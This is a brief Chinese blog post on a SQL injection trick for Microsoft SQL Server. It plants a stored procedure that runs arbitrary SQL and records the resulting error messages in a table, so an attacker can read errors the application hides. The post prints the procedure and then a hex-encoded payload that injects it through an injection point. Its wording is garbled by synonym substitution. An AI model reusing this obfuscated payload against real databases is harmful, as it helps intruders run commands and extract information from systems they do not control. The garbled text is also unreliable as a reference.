揪出MSSQL SERVER"错误提醒"[网络技术]

痛楚的崇奉

有某种情形,错误提醒不开启,你只能open大概union乃至于Update Table for Web Information来返回数据.

当履行某些需求的多语句时,我们但愿知道我们的语句履行时发生了哪些错误,以举行应对,有时刻这些信息对你很重要.目前就对此情形举行谈论.

CREATE PROC RunSQL @sql nvarchar(2048)
AS
BEGIN
declare @msg nvarchar(2048);
set @msg = 'Error: ';
exec sp_executesql @sql;
select @msg = @msg + description from master.dbo.sysmessages where error=@@error;
set @msg = 'Execute: ' + @sql + '|' + @msg;
if not exists(select * from sysobjects where name='errorstate') create table errorstate(msg nvarchar(2048));
insert into errorstate values(@msg);
END

安装这个看扩大存储过后,用他来履行号令.会把错误信息写入表errorstate.呵呵,当然注入点环境是不能建扩大存储的,因为CREATE PROC必须是多语句的第一条语句.这简单满意:

declare @code varchar(2000);set @code=0x4352454154452050524F432052756E53514C204073716C206E76617263686172283230343829415320424

547494E206465636C61726520406D7367206E766172636861722832303438293B73657420406D7367203D20274572

726F723A20273B657865632073705F6578656375746573716C204073716C3B73656C65637420406D7367203D20

406D7367202B206465736372697074696F6E2066726F6D206D61737465722E64626F2E7379736D65737361676

573207768657265206572726F723D40406572726F723B73657420406D7367203D2027457865637574653A20272

02B204073716C202B20277C27202B20406D73673B6966206E6F74206578697374732873656C656374202A20667

26F6D207379736F626A65637473207768657265206E616D653D276572726F727374617465272920637265617465

207461626C65206572726F727374617465286D7367206E76617263686172283230343829293B696E736572742069

6E746F206572726F7273746174652076616C75657328406D7367293B454E44;exec(@code)

呵呵,一点雕虫小技,但愿对读者有效.